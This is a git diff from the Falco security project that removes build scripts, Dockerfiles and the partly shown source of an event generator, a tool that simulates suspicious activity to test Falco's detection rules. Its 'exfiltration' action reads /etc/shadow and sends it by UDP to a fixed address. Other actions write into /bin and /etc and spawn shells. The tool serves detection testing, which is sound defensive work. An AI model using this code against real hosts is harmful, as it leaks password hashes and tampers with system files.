check_symbol_exists(strlcpy "string.h" HAVE_STRLCPY)
if(HAVE_STRLCPY)
message(STATUS "Existing strlcpy found, will *not* use local definition by setting -DHAVE_STRLCPY.")
add_definitions(-DHAVE_STRLCPY)
else()
message(STATUS "No strlcpy found, will use local definition")
endif()
include(driver)
include(libscap)
include(libsinsp)

View File

@@ -1,27 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml")
set(LIBYAML_INSTALL_DIR "${LIBYAML_SRC}/target")
message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
set(LIBYAML_LIB "${LIBYAML_SRC}/src/.libs/libyaml.a")
externalproject_add(
libyaml
URL "https://github.com/yaml/libyaml/releases/download/0.2.5/yaml-0.2.5.tar.gz"
URL_HASH "SHA256=c642ae9b75fee120b2d96c712538bd2cf283228d2337df2cf2988e3c02678ef4"
CONFIGURE_COMMAND ./configure --prefix=${LIBYAML_INSTALL_DIR} CFLAGS=-fPIC CPPFLAGS=-fPIC --enable-static=true --enable-shared=false
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
BUILD_BYPRODUCTS ${LIBYAML_LIB}
INSTALL_COMMAND ${CMD_MAKE} install
)

View File

@@ -1,91 +0,0 @@
#
# Copyright (C) 2021 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
include(ExternalProject)
string(TOLOWER ${CMAKE_HOST_SYSTEM_NAME} PLUGINS_SYSTEM_NAME)
if(NOT DEFINED PLUGINS_COMPONENT_NAME)
set(PLUGINS_COMPONENT_NAME "${CMAKE_PROJECT_NAME}-plugins")
endif()
set(PLUGIN_K8S_AUDIT_VERSION "0.4.0")
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(PLUGIN_K8S_AUDIT_HASH "ded0b5419f40084547620ccc48b19768e5e89457b85cfe8fbe496ca72267a3a4")
else() # aarch64
set(PLUGIN_K8S_AUDIT_HASH "775cba666612114bc5b0c36f2e3c4557f5adbffcca2d77e72be87c6fcbf51ceb")
endif()
ExternalProject_Add(
k8saudit-plugin
URL "https://download.falco.org/plugins/stable/k8saudit-${PLUGIN_K8S_AUDIT_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
URL_HASH "SHA256=${PLUGIN_K8S_AUDIT_HASH}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/k8saudit-plugin-prefix/src/k8saudit-plugin/libk8saudit.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
ExternalProject_Add(
k8saudit-rules
URL "https://download.falco.org/plugins/stable/k8saudit-rules-${PLUGIN_K8S_AUDIT_VERSION}.tar.gz"
URL_HASH "SHA256=53948fac0345e718d673142a992ac820135f771141dfaa9719c7575ac8ae6878"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/k8saudit-rules-prefix/src/k8saudit-rules/k8s_audit_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
set(PLUGIN_CLOUDTRAIL_VERSION "0.6.0")
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(PLUGIN_CLOUDTRAIL_HASH "80e0c33f30c01a90efb7e9a671d978ff9679c462e3105020238abf31230e49a9")
else() # aarch64
set(PLUGIN_CLOUDTRAIL_HASH "a3e739932e66d44be848a68857fa15f56134d5246a1b9ab912c81f91b68fb23f")
endif()
ExternalProject_Add(
cloudtrail-plugin
URL "https://download.falco.org/plugins/stable/cloudtrail-${PLUGIN_CLOUDTRAIL_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
URL_HASH "SHA256=${PLUGIN_CLOUDTRAIL_HASH}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-plugin-prefix/src/cloudtrail-plugin/libcloudtrail.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
ExternalProject_Add(
cloudtrail-rules
URL "https://download.falco.org/plugins/stable/cloudtrail-rules-${PLUGIN_CLOUDTRAIL_VERSION}.tar.gz"
URL_HASH "SHA256=e0dccb7b0f1d24b1e526a33ffd973ea5f2ac2879dbc999e119419ebfd24305ff"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-rules-prefix/src/cloudtrail-rules/aws_cloudtrail_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
set(PLUGIN_JSON_VERSION "0.6.0")
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(PLUGIN_JSON_HASH "15fb7eddd978e8bb03f05412e9446e264e4548d7423b3d724b99d6d87a8c1b27")
else() # aarch64
set(PLUGIN_JSON_HASH "4db23f35a750e10a5b7b54c9aa469a7587705e7faa22927e941b41f3c5533e9f")
endif()
ExternalProject_Add(
json-plugin
URL "https://download.falco.org/plugins/stable/json-${PLUGIN_JSON_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
URL_HASH "SHA256=${PLUGIN_JSON_HASH}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/json-plugin-prefix/src/json-plugin/libjson.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")

View File

@@ -1,42 +0,0 @@
# create the reports folder
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck)
# cppcheck
mark_as_advanced(CPPCHECK CPPCHECK_HTMLREPORT)
find_program(CPPCHECK cppcheck)
find_program(CPPCHECK_HTMLREPORT cppcheck-htmlreport)
if(NOT CPPCHECK)
message(STATUS "cppcheck command not found, static code analysis using cppcheck will not be available.")
else()
message(STATUS "cppcheck found at: ${CPPCHECK}")
# we are aware that cppcheck can be run
# along with the software compilation in a single step
# using the CMAKE_CXX_CPPCHECK variables.
# However, for practical needs we want to keep the
# two things separated and have a specific target for it.
# Our cppcheck target reads the compilation database produced by CMake
set(CMAKE_EXPORT_COMPILE_COMMANDS On)
add_custom_target(
cppcheck
COMMAND ${CPPCHECK}
"--enable=all"
"--force"
"--inconclusive"
"--inline-suppr" # allows to specify suppressions directly in source code
"--xml" # we want to generate a report
"--output-file=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck/cppcheck.xml" # generate the report under the reports folder in the build folder
"-i${CMAKE_CURRENT_BINARY_DIR}"# exclude the build folder
"${CMAKE_SOURCE_DIR}"
)
endif() # CPPCHECK
if(NOT CPPCHECK_HTMLREPORT)
message(STATUS "cppcheck-htmlreport command not found, will not be able to produce html reports for cppcheck results")
else()
message(STATUS "cppcheck-htmlreport found at: ${CPPCHECK_HTMLREPORT}")
add_custom_target(
cppcheck_htmlreport
COMMAND ${CPPCHECK_HTMLREPORT} --title=${CMAKE_PROJECT_NAME} --report-dir=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck --file=static-analysis-reports/cppcheck/cppcheck.xml)
endif() # CPPCHECK_HTMLREPORT

View File

@@ -1,34 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
mark_as_advanced(YAMLCPP_INCLUDE_DIR YAMLCPP_LIB)
if(NOT USE_BUNDLED_DEPS)
find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
find_library(YAMLCPP_LIB NAMES yaml-cpp)
if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB)
message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}")
else()
message(FATAL_ERROR "Couldn't find system yamlcpp")
endif()
else()
set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
ExternalProject_Add(
yamlcpp
URL "https://github.com/jbeder/yaml-cpp/archive/yaml-cpp-0.6.2.tar.gz"
URL_HASH "SHA256=e4d8560e163c3d875fd5d9e5542b5fd5bec810febdcba61481fe5fc4e6b1fd05"
BUILD_BYPRODUCTS ${YAMLCPP_LIB}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()

View File

@@ -1,3 +1,4 @@
/etc/falco/falco.yaml
/etc/falco/falco_rules.yaml
/etc/falco/rules.available/application_rules.yaml
/etc/falco/falco_rules.local.yaml

View File

@@ -1 +0,0 @@
add_subdirectory(local)

View File

@@ -1,5 +0,0 @@
labels:
- area/integration
approvers:
- leogr

View File

@@ -1,17 +0,0 @@
# Falco Dockerfiles
This directory contains various ways to package Falco as a container and related tools.
## Currently Supported Images
| Name | Directory | Description |
|---|---|---|
| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/falco | Falco (DEB built from git tag or from the master) with all the building toolchain. |
| _not yet published (experimental)_ | docker/ubi | Falco (built from RedHat's UBI base image) with the building toolchain. |
| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. |
| [falcosecurity/falco-no-driver:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver), [falcosecurity/falco-no-driver:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver),[falcosecurity/falco-no-driver:master](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver) | docker/no-driver | Falco (TGZ built from git tag or from the master) without the building toolchain. |
| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/getting-started/source/) for more details on building from source. Used to build Falco (CI). |
| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
| _not to be published_ | docker/local | Built on-the-fly and used by falco-tester. |
> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.

View File

@@ -1,46 +0,0 @@
FROM centos:7
LABEL name="falcosecurity/falco-builder"
LABEL usage="docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake"
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
ARG BUILD_TYPE=release
ARG BUILD_DRIVER=OFF
ARG BUILD_BPF=OFF
ARG BUILD_WARNINGS_AS_ERRORS=ON
ARG MAKE_JOBS=4
ARG FALCO_VERSION
ARG CMAKE_VERSION=3.22.5
ENV BUILD_TYPE=${BUILD_TYPE}
ENV BUILD_DRIVER=${BUILD_DRIVER}
ENV BUILD_BPF=${BUILD_BPF}
ENV BUILD_WARNINGS_AS_ERRORS=${BUILD_WARNINGS_AS_ERRORS}
ENV MAKE_JOBS=${MAKE_JOBS}
ENV FALCO_VERSION=${FALCO_VERSION}
ENV CMAKE_VERSION=${CMAKE_VERSION}
# build toolchain
RUN yum -y install centos-release-scl && \
INSTALL_PKGS="devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-toolchain devtoolset-7-libstdc++-devel llvm-toolset-7.0 glibc-static autoconf automake libtool createrepo expect git which libcurl-devel rpm-build libyaml-devel" && \
yum -y install --setopt=tsflags=nodocs $INSTALL_PKGS && \
rpm -V $INSTALL_PKGS
RUN source scl_source enable devtoolset-7 llvm-toolset-7.0
RUN curl -L -o /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz https://github.com/kitware/cmake/releases/download/v${CMAKE_VERSION}/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
gzip -d /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
tar -xpf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar --directory=/tmp && \
cp -R /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)/* /usr && \
rm -rf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)
COPY ./root /
# DTS
ENV BASH_ENV=/usr/bin/scl_enable \
ENV=/usr/bin/scl_enable \
PROMPT_COMMAND=". /usr/bin/scl_enable"
ENTRYPOINT ["entrypoint"]
CMD ["usage"]

View File

@@ -1,59 +0,0 @@
#!/usr/bin/env bash
set -eu -o pipefail
SOURCE_DIR=/source
BUILD_DIR=/build
CMD=${1:-usage}
shift
# Build type can be "debug" or "release", fallbacks to "release" by default
BUILD_TYPE=$(echo "$BUILD_TYPE" | tr "[:upper:]" "[:lower:]")
FALCO_EXTRA_DEBUG_FLAGS=
case "$BUILD_TYPE" in
"debug")
FALCO_EXTRA_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"
;;
*)
BUILD_TYPE="release"
;;
esac
case "$CMD" in
"cmake")
# Check that source directory contains Falco
if [ ! -d "$SOURCE_DIR/falco" ]; then
echo "Missing falco source." >&2
exit 1
fi
# Prepare build directory
mkdir -p "$BUILD_DIR/$BUILD_TYPE"
cd "$BUILD_DIR/$BUILD_TYPE"
cmake \
-DCMAKE_BUILD_TYPE="$BUILD_TYPE" \
-DCMAKE_INSTALL_PREFIX=/usr \
-DBUILD_DRIVER="$BUILD_DRIVER" \
-DBUILD_BPF="$BUILD_BPF" \
-DBUILD_WARNINGS_AS_ERRORS="$BUILD_WARNINGS_AS_ERRORS" \
-DFALCO_VERSION="$FALCO_VERSION" \
-DFALCO_EXTRA_DEBUG_FLAGS="$FALCO_EXTRA_DEBUG_FLAGS" \
-DUSE_BUNDLED_DEPS=ON \
"$SOURCE_DIR/falco"
exit "$(printf '%d\n' $?)"
;;
"bash")
CMD=/bin/bash
;& # fallthrough
"usage")
exec "$CMD" "$@"
;;
*)
if [ ! -d "$BUILD_DIR/$BUILD_TYPE" ]; then
echo "Missing $BUILD_DIR/$BUILD_TYPE directory: run cmake."
exit 1
fi
cd "$BUILD_DIR/$BUILD_TYPE"
make -j"$MAKE_JOBS" "$CMD"
;;
esac

View File

@@ -1,6 +0,0 @@
# IMPORTANT: Do not add more content to this file unless you know what you are doing.
# This file is sourced every time the shell session is opened.
#
# This will make scl collection binaries work out of box.
unset BASH_ENV PROMPT_COMMAND ENV
source scl_source enable devtoolset-7 llvm-toolset-7.0

View File

@@ -1,53 +0,0 @@
#!/usr/bin/env bash
gccversion=$(gcc --version | head -n1)
cppversion=$(g++ -dM -E -x c++ /dev/null | grep -F __cplusplus | cut -d' ' -f3)
cmakeversion=$(cmake --version | head -n1)
clangversion=$(clang --version | head -n1)
cat <<EOF
Hello, this is the Falco builder container.
How to use.
The default commands for the Falco builder image reports usage and environment info.
* docker run falcosecurity/falco-builder
* docker run falcosecurity/falco-builder usage
It supports bash.
* docker run -ti falcosecurity/falco-builder bash
To build Falco it needs:
- a bind-mount on the source directory (ie., the directory containing the Falco source as sibling)
Optionally, you can also bind-mount the build directory.
So, you can execute it from the Falco root directory as follows.
* docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake
* docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder [<cmake-target-x>, ..., <cmake-target-y>]
Eg.,
* docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder tests
* docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder install
How to build.
* cd docker/builder && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-builder .
In case you want to customise the builder at build time the following build arguments are provided:
- BUILD_TYPE whether you want a "release" or "debug" build (defaults to "release").
- BUILD_DRIVER whether to build the driver or not (defaults to "OFF")
- BUILD_BPF whether to build the BPF driver or not (defaults to "OFF")
- BUILD_WARNINGS_AS_ERRORS whether to intend warnings as errors or not (defaults to "ON")
- MAKE_JOBS the number of jobs to use during make (defaults to "4")
- FALCO_VERSION the version to label the build (built from git index in case it is missing)
It is possible to change these at runtime (in the container) since environment variables with the same names are provided, too.
Environment.
* ${gccversion}
* cplusplus ${cppversion}
* ${cmakeversion}
* ${clangversion}
EOF

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docker/dev/Dockerfile Normal file
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FROM debian:unstable
MAINTAINER Sysdig <support@sysdig.com>
ENV FALCO_REPOSITORY dev
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV SYSDIG_HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
clang-7 \
ca-certificates \
curl \
gnupg2 \
gcc \
gcc-5 \
gcc-6 \
gdb \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends falco \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco"]

17
docker/dev/docker-entrypoint.sh Executable file
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#!/bin/bash
#set -e
# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
echo "* Setting up /usr/src links from host"
for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
do
ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
done
/usr/bin/falco-probe-loader
fi
exec "$@"

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@@ -1,13 +0,0 @@
ARG FALCO_IMAGE_TAG=latest
FROM falcosecurity/falco:${FALCO_IMAGE_TAG}
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]

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@@ -1,28 +0,0 @@
#!/usr/bin/env bash
#
# Copyright (C) 2020 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
done
/usr/bin/falco-driver-loader "$@"

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FROM alpine:latest
RUN apk add --no-cache bash g++
COPY ./event_generator.cpp /usr/local/bin
RUN mkdir -p /var/lib/rpm
RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
CMD ["/usr/local/bin/event_generator"]

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image:
docker build -t sysdig/falco-event-generator:latest .

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/*
Copyright (C) 2016 Draios inc.
This file is part of falco.
falco is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License version 2 as
published by the Free Software Foundation.
falco is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with falco. If not, see <http://www.gnu.org/licenses/>.
*/
#include <cstdio>
#include <utility>
#include <map>
#include <set>
#include <string>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#include <getopt.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <pwd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
using namespace std;
void usage(char *program)
{
printf("Usage %s [options]\n\n", program);
printf("Options:\n");
printf(" -h/--help: show this help\n");
printf(" -a/--action: actions to perform. Can be one of the following:\n");
printf(" write_binary_dir Write to files below /bin\n");
printf(" write_etc Write to files below /etc\n");
printf(" read_sensitive_file Read a sensitive file\n");
printf(" read_sensitive_file_after_startup As a trusted program, wait a while,\n");
printf(" then read a sensitive file\n");
printf(" write_rpm_database Write to files below /var/lib/rpm\n");
printf(" spawn_shell Run a shell (bash)\n");
printf(" Used by spawn_shell_under_httpd below\n");
printf(" spawn_shell_under_httpd Run a shell (bash) under a httpd process\n");
printf(" db_program_spawn_process As a database program, try to spawn\n");
printf(" another program\n");
printf(" modify_binary_dirs Modify a file below /bin\n");
printf(" mkdir_binary_dirs Create a directory below /bin\n");
printf(" change_thread_namespace Change namespace\n");
printf(" system_user_interactive Change to a system user and try to\n");
printf(" run an interactive command\n");
printf(" network_activity Open network connections\n");
printf(" (used by system_procs_network_activity below)\n");
printf(" system_procs_network_activity Open network connections as a program\n");
printf(" that should not perform network actions\n");
printf(" non_sudo_setuid Setuid as a non-root user\n");
printf(" create_files_below_dev Create files below /dev\n");
printf(" exec_ls execve() the program ls\n");
printf(" (used by user_mgmt_binaries, db_program_spawn_process)\n");
printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n");
printf(" rules related to user management programs\n");
printf(" exfiltration Read /etc/shadow and send it via udp to a\n");
printf(" specific address and port\n");
printf(" all All of the above\n");
printf(" The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
printf(" as a colon-separated list\n");
printf(" if specified, -a/--action overrides any environment variables\n");
printf(" -i/--interval: Number of seconds between actions\n");
printf(" -o/--once: Perform actions once and exit\n");
}
void open_file(const char *filename, const char *flags)
{
FILE *f = fopen(filename, flags);
if(f)
{
fclose(f);
}
else
{
fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
}
}
void exfiltration()
{
ifstream shadow;
shadow.open("/etc/shadow");
printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
if(!shadow.is_open())
{
fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
return;
}
string line;
string shadow_contents;
while (getline(shadow, line))
{
shadow_contents += line;
shadow_contents += "\n";
}
int rc;
ssize_t sent;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(8197);
inet_aton("10.5.2.6", &(dest.sin_addr));
if((rc = connect(sock, (struct sockaddr *) &dest, sizeof(dest))) != 0)
{
fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
return;
}
if ((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
{
fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
return;
}
close(sock);
}
void touch(const char *filename)
{
open_file(filename, "w");
}
void read(const char *filename)
{
open_file(filename, "r");
}
uid_t become_user(const char *user)
{
struct passwd *pw;
pw = getpwnam(user);
if(pw == NULL)
{
fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
exit(1);
}
int rc = setuid(pw->pw_uid);
if(rc != 0)
{
fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
exit(1);
}
}
void spawn(const char *cmd, char **argv, char **env)
{
pid_t child;
// Fork a process, that way proc.duration is reset
if ((child = fork()) == 0)
{
execve(cmd, argv, env);
fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void respawn(const char *cmd, const char *action, const char *interval)
{
char *argv[] = {(char *) cmd,
(char *) "--action", (char *) action,
(char *) "--interval", (char *) interval,
(char *) "--once", NULL};
char *env[] = {NULL};
spawn(cmd, argv, env);
}
void write_binary_dir() {
printf("Writing to /bin/created-by-event-generator-sh...\n");
touch("/bin/created-by-event-generator-sh");
}
void write_etc() {
printf("Writing to /etc/created-by-event-generator-sh...\n");
touch("/etc/created-by-event-generator-sh");
}
void read_sensitive_file() {
printf("Reading /etc/shadow...\n");
read("/etc/shadow");
}
void read_sensitive_file_after_startup() {
printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
respawn("./httpd", "read_sensitive_file", "6");
}
void write_rpm_database() {
printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
touch("/var/lib/rpm/created-by-event-generator-sh");
}
void spawn_shell() {
printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
int rc;
if ((rc = system("ls > /dev/null")) != 0)
{
fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
}
}
void spawn_shell_under_httpd() {
printf("Becoming the program \"httpd\" and then spawning a shell\n");
respawn("./httpd", "spawn_shell", "0");
}
void db_program_spawn_process() {
printf("Becoming the program \"mysql\" and then running ls\n");
respawn("./mysqld", "exec_ls", "0");
}
void modify_binary_dirs() {
printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
if (rename("/bin/true", "/bin/true.event-generator-sh") != 0)
{
fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
}
else
{
if (rename("/bin/true.event-generator-sh", "/bin/true") != 0)
{
fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
}
}
}
void mkdir_binary_dirs() {
printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
if (mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
{
fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
}
}
void change_thread_namespace() {
printf("Calling setns() to change namespaces...\n");
printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
